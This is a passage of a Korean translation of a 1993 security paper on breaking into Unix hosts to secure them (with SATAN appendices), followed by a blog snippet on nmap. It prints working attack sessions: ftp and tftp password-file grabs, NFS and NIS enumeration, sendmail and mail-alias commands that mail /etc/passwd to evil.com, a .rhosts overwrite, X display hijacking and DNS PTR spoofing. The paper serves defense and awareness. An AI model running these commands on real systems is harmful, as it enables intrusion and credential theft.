    ftp 에 대해서는 예전에도 많이 공격하는 수법의 대상이 된 버그를 이용할 수
    있다.                             

    % ftp -n
    ftp> open victim.com
    Connected to victim.com
    220 victim.com FTP server ready.
    ftp> quote user ftp
    331 Guest login ok, send ident as password.
    ftp> quote cwd ~root
    530 Please login with USER and PASS.
    ftp> quote pass ftp
    230 Guest login ok, access restrictions apply.
    ftp> ls -al / (or whatever)

    만약 이것이 동작된다면 root로 로그인하여 패스워드 파일을 수정하거나 어떤       
    작업도 할 수 있게 된다. 만약 이런 버그를 아직 가지고 있다면 업체나 ftp.uu.net
    에서 새 버젼을 가져와 교체해야 한다.
    기존의 ftp 교체 버젼인 Washington 대학에서 만든 wuarchive ftp도 같은 문제를
    가지고 있으며 1993 4월 8일 이전 버젼을 사용한다면 최신버젼으로 교체해야 한다.
    마지막으로 ftp와 유사한 tftp가 있는데, 패스워드나 다른 인증을 거치지 않는
    방법이므로 inetd.conf에 secure 옵션플래그를 두어 접근을 제한하지 않는다면
    침입자는 어떠한 디렉토리의 어떤 파일에 대해서도 읽기/쓰기가 가능해진다.
    보통 이를 통해 패스워드 파일을 가져와서 /tmp디렉토리에 둘 수 있다.

    evil % tftp
    tftp> connect victim.com
    tftp> get /etc/passwd /tmp/passwd.victim
    tftp> quit

    보안을 위해 가능한 tftp는 사용하지 않는 것이 좋으며, 만약 필요하다면, 공개하는 
    정보만 있는 디렉토리로 접근을 제한한 secure 옵션 프래그를 두어 사용하거나
    chroot wrapper 의 제어하에 사용한다.

    이상의 방법이 통하지 않는 경우 어떤 의미에서는 finger 보다 더욱 편리한 rpcinfo
    를 사용할 수 있다. rpc를 이용하는 많은 시스템이 공격당할 수 있는데, rpcinfo가
    portmapper와 대화하여 그 방법을 알려준다. 호스트가 NIS를 사용하는지, NIS가 서버
    인지 slave인지, 디스크없는 워크스테이션이 있는지 없는지, rusersd나 rstatd 등의
    서비스가 있는지 없는지와 NFS에 대한 정보 등을 알려준다. 아까와 같은 목표시스템
    에서 예를 들어 본다.

    evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
       program vers proto   port
        100004    2   tcp    673  ypserv
        100005    1   udp    721  mountd
        100003    2   udp   2049  nfs
        100026    1   udp    733  bootparam
        100017    1   tcp   1274  rexd

    여기에서 많은 중요한 정보들을 볼 수 있는데, 첫째 이 시스템이 NIS 서버란 사실   
    이다. 아마 많이 알려져있지는 않았서도 서버의 NIS 도메인네임을 한번 알게되면,
    이 NIS 서버의 서브네트 바깥에 있다할지라도 간단한 rpc query를 통해 NIS Maps
    의 어떤 것도 알아낼 수 있다. 예를 들어 ftp.uu.net의 comp.sources.misc에서
    찾을 수 있는 YPX를 사용할 수 있다. 더우기 패스워드를 짐작할 수 있는 것과
    마찬가지로 NIS 도메인네임도 쉽게 짐작 할 수 있다. 부분적으로 혹은 전체적으로
    알게된 호스트이름(예를 들어 victim 이나 victim.com등), 기관 이름, "showmount"
    등으로 알게된 netgroups 이름 등으로 짐작할 수 있다. "victim"으로 짐작하고
    싶다면 다음을 이용한다.                                                        

    evil % ypwhich -d victim victim.com
    Domain victim not bound

    이것은 실패한 경우이다. 만약 성공한 경우라면 victim.com의 NIS서버 호스트이름을 
    반환받게 된다. 그러나 victim.com이 "/var"를 완전히 개방하고 있다는 사실을
    NFS에서 알수 있었다. 이 디렉로리를 마운트하여 "yp"서브디렉토리를 볼 수 있는데,
    혹은 다른 서브디렉토리에서 목표시스템의 도메인네임을 알 수도 있을 것이다.
       
    evil # mount victim.com:/var /foo
    evil # cd /foo
    evil # /bin/ls -alg /foo/yp
    total 17
       1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
       1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
      11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
       1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
       2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
       [...]

    이 경우 'foo_bar"가 NIS 도메인 이름이다. 그리고 가끔 NIS 맵은 크랙킹을 위한    
    패스워드 뿐 아니라 user/employee나 내부 호스트이름 리스트 등을 가지고 있을 수
    있다. 부록 C는 NIS 패스워드 파일에 대한 사례의 결과가 상세히 실려있다.

    ---------------------------------------------------------------------------

    rpcinfo 가 victim.com이 rexed를 사용하고 있다는 것도 알려주고 있다. rshd와     
    마찬가지로 rexed는 원격지에 명령을 실행할 수 있도록 요청하는 서비스이다.
    하지만 rshd와는 달리 hosts.eqiv나 .rhost의 존재 유무에 상관없다. 보통
    rexed 클라이언트 프로그램이 명령어에 있지만 단지 적은 C 프로그램을 가지고
    있으며 어떤 클라이언트 호스트와 사용자 정보를 서버에게 보내면 서버는 이 명령을
    실행하게 된다. 이러한 이유로 rexed를 이용하는 것은 아무 패스워드를 가지고 있지
    않는 것과 같으며 클라이언트에 보안 책임이 있게 된다. rexed의 보안은 secure
    rpc를 사용함으로서 이루어질 수 있다.
        
    ---------------------------------------------------------------------------

    rpcinfo의 결과에 따라 우리는 victim.com이 디스크없는 워크스테이션을 위한 서버  
    임을 알 수 있다. 이것은 디스크없는 워크스테이션의 부팅을 위한 bootparam이 있는
    것을 보고 알 수 있다. 만약 BOOTPARAMPROC_WHOAMI와 클라이언트의 어드레스를 이용
    하여 잘 요청하면 NIS 도메인네임을 알수 있다. 이것은 도메인네임을 알아 NIS 맵(
    예를 들어 패스워드 파일과 같은 것)과 잘 결합하면 우수한 효과를 가질 수 있다.
    여기 간단한 사례 프로그램이 있다.(bootparam 은 SATAN의 일부)
             
       char   *server;
       struct bp_whoami_arg arg;           /* query */
       struct bp_whoami_res res;           /* reply */

       /* initializations omitted... */

       callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
               xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

       printf("%s has nisdomain %s\n", server, res.domain_name);

    "showmout"결과는 victim.com의 디스크없는 워크스테이션들이 쉽다는 것을 알 수    
    있는데, 우리는 이것들의 어드레스를 BOOTPARAMPROC_WHOAMI query에 사용한다.

    evil % bootparam victim.com easy.victim.com
    victim.com has nisdomain foo_bar

    ---------------------------------------------------------------------------

    NIS 마스터는 NIS 도메인 에서의 질문에 대한 mail alias를 제어한다. 한 시스템    
    에서의 mail alias 파일 처럼 메일이 전송될때 명령어를 실행하도록 mail alias
    를 만들 수 있다. 가장 흔한 사례는 메일을 전달할 때 uudecode 를 실행하는
    "decode" alias 이다. 예를 들어 "foo" 라는 alias 를 만들어 다음과 같이
    단순히 메일을 보냄으로서 evil.com으로 패스워드를 메일로 보내게금 할 수 있다.
      
    nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
    nis-master # cd /var/yp
    nis-master # make aliases
    nis-master # echo test | mail -v foo@victim.com

    침입자가 NIS마스터 호스트에 대한 제어를 갖지 않아야 하겠지만, 또한 명백한      
    교훈은 NIS가 보안이 적절하지 않아, 침입자가 NIS 마스터를 제어할 수 있다면
    침입자는 클라이언트에 명령을 실행하는 것과 같은 식으로 디스크없는 워크스테
    이션에 대해 제어할 수 있다.                                                    

    클라이어트와 서버사이에 적절한 인증방법이 제공되지 않은 보안이 적절하지 못한   
    NIS 공격에 대한 여러가지 대응책이 없는 편이다. 더우기 나쁜 것은 어떤 맵은
    마스터 서버에게도 강요될 수 있어서 NIS서버가 클라이언트가 되도록 조정할 수
    있기도 하다. 만약 꼭 NIS를 사용하고자 한다면 도메인네임이 쉽게 짐작할 수
    없도록 하는 것이 조금 도움이 될 것이다. 이 경우 만약 잠재적인 공격자에게
    디스크 없는 클라이언트가 공개된다면 도메인네임을 얻기위한 bootparam 트릭을
    사용하는 간단한 방법이 소용없게 만들 수 있다.만약 NIS가 패스워드 맵을 전파하기
    위해 사용된다면 이미 root 권한을 가진 침입자가 아직도 접근할 수 있으므로
    shadow 패스워드는 더 이상 좋은 보안이 되질 않는다. 좋은 것은 NIS를 사용하지
    않는 것이며, 맵이 잠재적으로 어떠한 강제에의해 종속되지 않도록 최소화하는
    것이다.

    Secure RPC는 이러한 위협을 막는 또 다른 방버이긴 하지만 이것은 관리하기에도    
    어려우며 여기에서 사용된 암호 기법이 우수하지도 않다. SUN이 새롭게 선보인
    NIS+가 이러한 문제점을 해결하였다고 하지만 제한된 SUN에서만 동작하며 원래의
    설계 상의 잇점을 살릴 수도 없다. 마지막으로 패킷 필터링(port 111)을 이용하거
    나 Securelib, SUN의 sunpatch 100482-02 가 도움이 될 것이다.
        

    ---------------------------------------------------------------------------

    portmapper 는 단지 rpc 서비스에 대해서만 알려주는 것은 아니다. 다른 네         
    트워크 서비스에  대해서도 모든 네트워크 포트에  대해 강제적인 방법으로
    위치시킬 수 있다.  마치 sendmail은 25번, telnet 은 23  번, x window 는
    6000 번 이듯이 모든 네트워크 서비스는 특정 포트에 대해 듣고있다. SATAN
    은 원격지 시스템에 대해  네트워크 포트를 스캐닝하며 발견한 정보를 보고
    하는 프로그램을 가지고 있다.   목표시스템에 대해 실행하면 다음을 볼 수
    있다.

    evil % tcpmap victim.com
    Mapping 128.128.128.1
    port 21: ftp
    port 23: telnet
    port 25: smtp
    port 37: time
    port 79: finger
    port 512: exec
    port 513: login
    port 514: shell
    port 515: printer
    port 6000: (X)

    이  시스템은 X  Window 시스템을  실행하고  있다는 것을  알려준다. 만약         
    magic cookie 나 xhost 메카니즘 등을 실행하여 적절히 보호하고 있지 않고
    있다면, 원도우 디스플레이가 캡춰당하거나 보일 수 있으며, 혹은 사용자의
    키입력이 도용되거나 프로그램이 원격지에서  실행될 수 있다. 그리고 목표
    시스템이 X 를  실행하고 포트 6000번으로의 telnet  을 받아들인다면 목표
    시스템의 x window 시스템의 동작을 일시 정지시키는 것과 같은 서비스거부
    공격에 이용될  수 있다.   X 서버의 취약점을  알 수  있는 또다른 방법은
    XOpenDisplay() 함수를 이용하는 것으로서  만약 이 함수가 NULL 을 반환한
    다면 목표의 디스플레이에 접근할 수 없다. 이 기능은 SATAN에 포함된 기능
    이다.  

       char   *hostname;

       if (XOpenDisplay(hostname) == NULL) {
          printf("Cannot open display: %s\n", hostname);
       } else {
          printf("Can open display: %s\n", hostname);
       }

    evil % opendisplay victim.com:0
    Cannot open display: victim.com:0

    완전한 유닉스 보다는 떨어지는 X  터미널도 자체의 보안문제를 가질 수 있         
    다. 많은 X 터미널은 제한이  없는 rsh 접근을 허용하고 있으며, 이것은 목
    표시스템의 터미널에서 X 클라이언트를  시작하게 하면서 결과가 자신의 스
    크린에 나오게 할 수 있는 것이다.

    evil % xhost +xvictim.victim.com
    evil % rsh xvictim.victim.com telnet victim.com -display evil.com

    어떤 경우에도 패스워드 없는 계정이나  hosts.eqiv 의 "+" 처럼 당신의 시         
    스템의 보안을 침해하는 것과 같은  파일시스템과 네트워크 보안 처럼 X 윈
    도우의 보안도 많은 생각을 하게금 한다.

    ---------------------------------------------------------------------------
    이제는 sendmail을 보자. sendmail은 이제는 대부분의 시스템에서 못쓰게금         
    되어있기는 하지만 악명높은 "wiz" 명령의 문제를 포함한 많은 보안 문제를
    가지고 있는 매우 복잡한 프로그램이다. sendmail 이 반환한 버젼번호를 보
    아 목표시스템의 OS 나 때때로 버젼번호 등을 알 수 있다. 이것은 여러가지
    버그들 중 어떤 취약점이 해당하는지를 알수있게금 한다. 더우기 만약 상대
    편이 "decode" alias 를 가지고 있다면 많은 문제를 알 수 있는 것이다.

    evil % telnet victim.com 25
    connecting to host victim.com (128.128.128.1.), port 25
    connection open
    220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
    expn decode
    250 <"|/usr/bin/uudecode">
    quit

    "decode" alias  는 매우 위험한 보안문제를  야기하는데, 이것은 공격자가         
    어떤 파일에 대해 쓰기를 할  수 있도록한다. 특히 대부분은 소유주가 데몬
    인 파일이지만 잠재적으로는 어떤 사용자의 파일도 가능한 것이다. 다음 메
    일을 보면 이것은 "evil.com" 의 zen 사용자의 .rhosts 파일을 보내는 것이
    다.

    evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com

    만약 어떠한 홈 디렉토리도 못찾고  또한 쓰기를 할 수 없다면 다른 변형으         
    로서 목표시스템에 어떤  명령을 실행하도록 /etc/aliases.pag 파일에 무언
    가  첨가하는  것이다.  대부분의  시스템들이  메일  alias  를  제어하는
    /etc/aliases.pag나 aliases.dir 파일들이  완전히 쓰기 개방되어있어 성공
    할 가능성이 높다.

    evil % cat decode
    bin: "| cat /etc/passwd | mail zen@evil.com"
    evil % newaliases -oQ/tmp -oA`pwd`/decode
    evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
    evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

    만약 vrfy로 어드레스를 확인하거나  expn 을 통해 어드레스 확장이 된다는         
    것을 sendmail 과의  대화를 통해 알 수있다면 많은  것을 발견할 수 있다.
    finger나 rusers 를 사용할 수 없을  때 vrfy 나 expn 는 사용자나 목표 시
    스템을 확인하는데 사용될  수 있다. Vrfy 나 expn  은 vacation 이나 mail
    sorter 와 같은  문제있는 프로그램과의 파이프를 찾는데  사용될 수 있다.
    vrfy 와 expn 등을  금지하는 것이 좋은데 대부분의 버젼에서는 srvrsmtp.c
    의 소스를 보고 CmdTab structure내  "vrfy" 와 "expn" 라인을 지우거나 바
    꾸는 것이 좋다. 소스가 없는 곳에서도 바이너리 에디터를 통해 2개의 스트
    링을 공백으로 교체하여 지울 수 있다. 부록 D 에서 보이는 것과 같이 최신
    의 sendmail 버젼으로 교체하는 것도 하나의 방법이다.
                                                                                  
    ---------------------------------------------------------------------------

    sendmail-sendoff  에서도  잘  알려진  버그가  2개  있다.  처음  버그는         
    Berkeley 에서 5.59 버젼에서 분명하게 문제를 해결하였다. 이전 버젼에 대
    해서는 "evil.com"이 에러메세지에도  불구하고 지정한 파일이 메일 헤더에
    첨부되어 받을 수 있다.

    % cat evil_sendmail
    telnet victim.com 25 << EOSM
    rcpt to: /home/zen/.rhosts
    mail from: zen
    data
    random garbage
    .
    rcpt to: /home/zen/.rhosts
    mail from: zen
    data
    evil.com
    .
    quit
    EOSM

    evil % /bin/sh evil_sendmail
    Trying 128.128.128.1
    Connected to victim.com
    Escape character is '^]'.
    Connection closed by foreign host.

    evil % rlogin victim.com -l zen
            Welcome to victim.com!
    victim %

    2번째 문제는 최근에 발견된 것으로서 송신자가 어떤 쉘 명령을 정의하거나         
    송신자나 목적지 어드레스 등의 패스이름을 지정하는 것을 허용하는 것이딪
    다. 여기에서 자세한  설명은 생략하지만 usenet news  나 기타에서 알려진
    바가 있으므로 생략하며 대부분의 sendmail 에서 문제가 있다. 하지만 대표
    적인 공격 형태는 다음과 같다.

    evil % telnet victim.com 25
    Trying 128.128.128.1...
    Connected to victim.com
    Escape character is '^]'.
    220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
    mail from: "|/bin/mail zen@evil.com < /etc/passwd"
    250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
    rcpt to: nosuchuser
    550 nosuchuser... User unknown
    data
    354 Enter mail, end with "." on a line by itself
    .
    250 Mail accepted
    quit
    Connection closed by foreign host.
    evil %

    지금 sendmail 버젼  8.6.4 는 단지 몇몇  엄체에서만 많은 보안취약점들을         
    해결하고 있는 것으로 알려지고 있으며 부록 D 를 참고하기 바란다.


    Trust

    우리의 마지막 주제로서 약간  이론적인 입장에서 신뢰(Trust) 문제를 살펴         
    보기로 한다. 이것은 대부분 어떤  기관 내부에서 자원 공유의 입장에서 패
    스워드나 기타 인증 방법을 통하지 않는 것을 의미하는데, 클라이언트에 대
    한 제한을 어떻게 할 수 있나에 대해 말하려는 것이다.

    호스트가  신뢰하는  방법은 여러가지가  있을  수  있다. hosts.equiv  나
    .rhosts 에서 패스워드를 묻지 않고 접근을 허용하는 방법, 원격지시스템이
    권한을 사용하거나 남용하도록 해주는 X  서버, NFS 제어를 통한 파일의 개
    방 등이다. 모든 것들은 클라이언트들의 어드레스를 호스트이름으로 변환할
    때  이 서비스를  받을수  있을지 없을지가  결정된다.  직접  하는 방법은
    /etc/hosts 를 이용한 간단한 방법이며, 현재는 대부분이 DNS, NIS 등을 이
    용하고 있다. 클라이언트가 접속 요청시  IP 어드레스에 의해 역 lookup 이
    이루어져 원하는 클라이언트인지 확인을 바라게 된다.                             

    이러한 확인 방법에 대해  많는 관리자들이 이해하고 있지만 중요한 실질적         
    인 보안문제는 호스트이름 위장의  경우이다. 이것은 단순히 관리자들이 잘
    알고 있는 hosts.equiv 나 .rhosts  문제, X 윈도우, NFS 문제의 차원을 넘
    어선 문제이다. 어떠한 신뢰이라 할지라도 위장되거나 무력화되거나 바꿔치
    기 될 수 있는데,이는 서버의 관리영역 밖에 있는 authority 가 클라이언트
    트의 신뢰성(Credential)을  점검하거나 신뢰하는  메카니즘이 매우 취약한
    경우에서 비롯되는 것이다. 명백히 NIS, DNS 등에서의 데이타베이스가 만약
    침해 당했다면 침입자는 신뢰하는  시스템에서의 접근인 것 처럼 위장할 수
    있으며, 이것으로 목표시스템이 신뢰하는  어떤 호스트가 있는지 충분히 알
    수 있기 때문이다. 이 작업은 시스템관리자나 root 와 같은 계정이 어떤 호
    스트에서 접근하는지를 검사하면 매우 도움이 된다.

    다시 victim.com 의 사례로 돌아가서 관리자가 big.victim.com 에서 접근하         
    는  것을 알았다고  가정해보자.  evil.com의 DNS  PTR  레코드를 교체하여
    evil.com 에서 victim.com 으로 rlogin 하려하면 victim.com 은 호스트이름
    을 보려고 하여 교체한 레코드를 보게될 것이다.

    다음은 원래의 PTR 레코드와 교체한 PTR 레코드이다.

    원래 PTR   1.192.192.192.in-addr.arpa     IN      PTR     evil.com

    수정 PTR   1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com

    다음에는 victim.com 에  달려있는데, big.victim.com 이 /etc/hosts.equiv         
    나 .rhosts 에 존재한다면 접속을  허용하여 패스워드 없이 접근할 수 있을
    것이다. NIS 에서는 침입자가 만약 NIS 마스터를 제어하고 있다면 호스트데
    이타베이스를 수정하는 것은  더욱 쉬운 일이며, 원하는  정보를 가진 목표
    시스템을 이용하여 NIS 를 위장하거나 강제화할 수 있을 것이다.

    이러한 공격을 막기위한 2가지  방법이 있다. 첫째는 매우 직접적이지만 비
    현실적인 것으로서 단순히 어떠한 호스트도  믿지 않는 것이다.  다른 방법
    은 암호프로토콜을 사용하는 것으로서 Secure NFS, NIS+ 등의 Secure RPC를
    사용하는 방법인데, 만약 암호가 깨진다 하더라도 암호를 사용하지 않는 기
    존의 인증 방식보다 훨씬 우수하다. 다른 방법으로서 smartcard 하드웨어를
    사용하거나, kerberos  등의 소프트웨어를 사용할 수  있는데, 전자는 아직
    잘 개발된 상태가 아니며, 후자는 시스템의 전반적인 수정이 요구된다.
    부록 B 는 인터넷 여러군데에서 검토한 비공식자료로서 보다 자세히 설명하
    고 있다.


    Protecting the system

    시스템보안을 위한 일반적인 제안들을 보이고자 한다.                             

    - 만약 finger 서비스를 꼭 해야 한다면 수정된 버젼을 설치하라. 사용자의
      홈 디렉토리니, 로그인 한 호스트이름 등을 알릴 필요는 없는 것이다.
    - 절대적으로 필요하지 않다면 NIS 를 사용하지 말것이며, NFS 도 가능한
      사용하지 않는다.
    - 절대로 NFS 파일시스템을 완전히(Worldwide) 공개하지 말것이며, 가능한
      읽기 전용으로 만들어라.
    - 서버를 방어하고 보호한다. 단지 관리할 수 있는 계정만을 허용한다.
    - inetd 나 portmapper 등에서 불필요한 서비스가 없는지 점검한다. 만약
      접속하는 시스템의 로그를 기록하고 싶다면 wrapper 를 사용하는 것이
      좋은데, 표준 유닉스보다 우수한 로그와 특히 네트워크 공격에 대한 기록
      이 우수하다. 그리고 가능한 보안 관련 정보를 입수하기 위해 syslog 의
      loghost 메카니즘을 이용하라.
    - 완벽하게 믿을 수 있는 시스템이 없다면 신뢰하는 호스트를 없앤다.
    - Shadow 패스워드와 잘못된 패스워드를 가려내는 패스워드 명령을 사용
      한다. 사용하지 않는 계정과 시스템을 없앤다.
    - 최근의 자료(참고문헌)와 도구들을 수집하며, 보안 사고 문제나 보안
      관련 문제를 지속적으로 남들과 대화한다. 최소한 CERT mailing list
      와 보안잡지, Firewall mailing list, 보안 관련 뉴스그룹 등에 가입한
      다. 무관심도 보안 문제에 가장 큰 적이다.
    - 기관의 모든 호스트에 대해 가능한 최신 패치를 설치한다.                       

    네트워크 방하벽시스템, Kerberos, 일회용 패스워드시스템 등이 보안문제를         
    해경하는데 도움이 되지만 위에서  여기에서 알려진 이러한 공격에 모무 안
    전한 것은 아니다. 즉 위 3,  4 가지 우수한 보안 기법을 사용하는 것이 좋
    다고 권고하지만 모두 해결되는 것은 아니라는 말이다.


    Conclusions

    Perhaps none of the methods shown here are surprising; when writing this
    paper, we didn't learn very much about how to break into systems. What we
    _did_ learn was, while testing these methods out on our own systems and
    that of friendly sites, just how effective this set of methods is for
    gaining access to a typical (UNIX) Internet host. Tiring of trying to type
    these in all by hand, and desiring to keep our own systems more secure, we
    decided to implement a security tool (SATAN) that attempts to check remote
    hosts for at least some of the problems discussed here. The typical
    response, when telling people about our paper and our tool was something on
    the order of "that sounds pretty dangerous -- I hope you're not going to
    give it out to everybody. But you since you can trust me, may I have a copy
    of it?"

    We never set out to create a cookbook or toolkit of methods and programs on
    how to break into systems -- instead, we saw that these same methods were
    being used, every day, against ourselves and against friendly system
    administrators. We believe that by propagating information that normally
    wasn't available to those outside of the underworld, we can increase
    security by raising awareness. Trying to restrict access to "dangerous"
    security information has never seemed to be a very effective method for
    increasing security; indeed, the opposite appears to be the case, since the
    system crackers have shown little reticence to share their information with
    each other.

    While it is almost certain that some of the information presented here is
    new material to (aspiring) system crackers, and that some will use it to
    gain unauthorized entrance onto hosts, the evidence presented even by our
    ad hoc tests shows that there is a much larger number of insecure sites,
    simply because the system administrators don't know any better -- they
    aren't stupid or slow, they simply are unable to spend the very little free
    time that they have to explore all of the security issues that pertain to
    their systems. Combine that with no easy access to this sort of information
    and you have poorly defended systems. We (modestly) hope that this paper
    will provide badly-needed data on how systems are broken into, and further,
    to explain _why_ certain steps should be taken to secure a system. Knowing
    why something is a problem is, in our opinion, the real key to learning and
    to making an informed, intelligent choice as to what security really means
    for your site.

    ---------------------------------------------------------------------------

    부록 A: SATAN (Security Analysis Tool for Auditing Networks)

    SATAN은 보다 크고 이해하기 쉬운 프로토타입 보안 도구이다.  SATAN 은            
    목표하는 시스템의 일반적이고 도움이 될 정보를 상세하게 보고하거나 네트워
    크와 윈도우 시스템의 버그나 보안 취약요소들을 점검하여 보고한다. 그리고
    결과 데이타에 대해 정해진 규칙에 따른 필터링을 하고 최종 분석 결과를 요약
    하기 위한 전문가프로그램이 사용된다. 이것은 빠르게 처리되지는 않지만 잘
    모듈화되어있으며, 쉽게 수정할 수 있다.
    SATAN 은 여러개의 서브프로그램으로 구성되며, 각각은 Perl, Shell, C  로 구현
    되어 있으며, 각각 주어진 목표를 공격 점검할 수 있다. 추후 확장을 위해서는
    메인 디렉토리에 ".sat"식의 실행프로그램을 추가하면 된다. 드라이버는 주어진
    복표들에 대해  DNS, ping 등으로 존재 유무를 확인하고 실행파일들이 실제 그
    시스템을 공격한다. 결과를 분석하는 필터링, 인터프리트 프로그램이 실행되어
    마지막으로 사용자가 읽을 수 있는 형태로 요약 보고한다.                         

    ---------------------------------------------------------------------------

    부록 B: 전산망 보안 점검 및 분석 사례

    비공식적으로 대학, 군사기관 및 기업체의 200 여호스트 및 40000여개의 계정       
    에 대해 점검을 실행한바 기관의 평균 10%가 .rhosts를 가지고 있었으며 이것
    들은 평균 6개의 신뢰하는 호스트들을 가지고 있었다. 하지만 어떤 경우에는
    100개 이상의 엔트리를 가지거나 심지어 400 여개의 엔트리를 가진 .rhosts 를
    가진 곳도 있었다.  그리고 대부분의 경우 인터넷에 직접 연결되어 있었고 단
    지 하나의 기관만이 방화벽을 운영하고 있었는데, 대부분 기관 외부에 신뢰하
    는호스트들을 가지고 있어 대부분 관리자의 통제 밖에 있다고 보인다. 규모가
    큰 기관들은 .rhosts를 별로 가지고 있지 않았지만 신뢰하지 않는 호스트 뿐 아
    니라 .rhosts 파일의 크기는 대단히 컸다.

    비록 얼마나 많은 엔트리들이 정당한지 확인하기 어려웠고, 특히 와일드카드,       
    "Makefile". "Message-id:", "^Cs^A^C^M^Ci^C^MpNu^L^Z^O" 등에 대해서는
    올바르게 신뢰하는 시스템으로서 구성되었는지를 확인하기 어려웠지만, 각 기
    관은 자신의 보안을 각 사용자에게 맡기고 있다는 것을 알 수 있었다. 많은
    량의 엔트리를 가진 .rhosts 파일의 경우에는 쉘 형태의 코멘트를 많이 가지
    고 있었는데, 대부분의 유닉스에서는 이러한 형태를 올바르게 해석하지 않으
    며, 침입자의 NIS, DNS 로 호스트이 름을 "#"으로 위장한 공격으로 자유롭게
    접근한다.                                

    여기 조사한 기관들이 인터넷에서의 대표적인 기관으로 발하기는 어렵고 사실       
    이 아닐지도 모른다.  하지만 많은 관리자들은 보안연구나 보안제품에 대해 작
    업들을 많이 하고 있었을 뿐만 아니라 취미나 전문으로 프로그램을 만들고 보
    안 관련 작업을 많이 하고 있었던 것으로 보인다.                                 

    ---------------------------------------------------------------------------

    부록 C: 시스템 진단 사례

    우리가 가진 시스템의 하나에서 출발한 침입을 알리는 전자우편을 받고 조사에      
    착수하여  어떤 기업체에서 온 침입자가 패스워드를 훔치기 쉬운 기관들을 검
    토하고 있는 것을 발견하였다. 이때 패스워드를 훔치기 쉬운 기관이란 NIS 도
    메인이름을 쉽게 유추할 수 있다든가 NIS 서버에 쉽게 접근할 수 있는 기관을
    의미한다. 침입자가 얼마나 진전이 있었는지 는 모르지만 이 기관에 경고를 주
    는 일을 하기로 하였다. 침입자는 656개의 호스트리스트를 가지고 있었는데,
    그중에서 25개의 호스트에서 24개는 쉽게 훔쳐낼 수 있었으며, 이 중 3 분의
    1은 적어도 하나의 패스워드 없는 계정으로 대화형 쉘을 가지고 있었다.  총
    1594개의 패스워드 파일 엔트리에서 낮은 수준의 SUN 시스템에서 10분망에
    50개 이상의 패스워드를 알아내었으며, 40%는 다음 20분 만에, root 의 패스워
    드를 1 시간만에 하나 알아애었다. 마음 며칠 만에는 5개의 root 패스워드를
    알아내었다. 결국 24개(80%)의 패스워드 파일이 적어도 하나의 잘알려진 패스
    워드를 가지고 있었으며, 1594개의 엔트리중 259(6분의 1)개의 패스워드가 쉽
    게 추정 할 수 있었다.                                                          

    ---------------------------------------------------------------------------

    부록 D: 무료 인터넷 보안 자료를 받으려면

    Mailing lists:

      *  The CERT (Computer Emergency Response Team) advisory mailing list.
        Send e-mail to cert@cert.org, and ask to be placed on their mailing
        list.

      *  The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us
        and ask to be added to the list.

      *  The Firewalls mailing list. Send the following line to
        majordomo@greatcircle.com:

            subscribe firewalls

      *  Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu,
        asking to be placed on the list.

    Free Software:

    COPS (Computer Oracle and Password System) is available via anonymous ftp
    from archive.cis.ohio-state.edu, in pub/cops/1.04+.

    The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in
    pub/security.

    Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.

    TAMU is a UNIX auditing tool that is part of a larger suite of excellent
    tools put out by a group at the Texas A&M University. They can be gotten
    via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

    Sources for ftpd and many other network utilities can be found in
    ftp.uu.net, in packages/bsd-sources.

    Source for ISS (Internet Security Scanner), a tool that remotely scans for
    various network vulnerabilities, is available via anonymous ftp from
    ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

    Securelib is available via anonymous ftp from ftp.uu.net, in
    usenet/comp.sources.misc/volume36/securelib.

    The latest version of berkeley sendmail is available via anonymous ftp from
    ftp.cs.berkeley.edu, in ucb/sendmail.

    Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
    ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

    ---------------------------------------------------------------------------

    참고문헌:

    Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts
    Institute of Technology, June 1987.

    Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992
    (unpublished).

    Massachusetts Institute of Technology, X Window System Protocol, Version
    11, 1990.

    Shimomura, Tsutomu, private communication.

    Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.

    ---------------------------------------------------------------------------

    추천 참고문헌:
    2006/09/08 22:30 2006/09/08 22:30
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > jks3500님의 블로그
    원본 http://blog.naver.com/jks3500/40002554697
    nmap은 열린 포트를 확인하여 보안 점검을 위한 대표적인 툴이면서
    원치 않는 서버를 대상으로 포트 스캐닝과 시스템의 OS 종류와 버전을 알아내는데 사용되기도 한다.
    최근에 나온 nmap 3.45버전은 오픈된 서비스의 버전 정보까지도 확인시켜준다.

    --------------------------------------------------------------
    # nmap -A -T4 -F localhost

    Starting nmap 3.45 (
    http://www.insecure.org/nmap/ ) at 2003-09-16 22:45 KST
    Interesting ports on truefeel (127.0.0.1):
    (The 1203 ports scanned but not shown below are in state: closed)
    PORT   STATE SERVICE  VERSION
    21/tcp  open ftp    vsFTPd 1.2.0
    25/tcp  open smtp    Sendmail smtpd Securing..214-2.0.0 This is sendmail version 8.12.
    80/tcp  open http    Apache httpd 2.0.44 ((Unix) DAV/2 PHP/4.3.2)
    ... 중략 ...
    Running: Linux 2.4.X|2.5.X
    OS details: Linux Kernel 2.4.0 - 2.5.20, Linux kernel 2.4.20
    Uptime 0.505 days (since Tue Sep 16 10:38:25 2003)

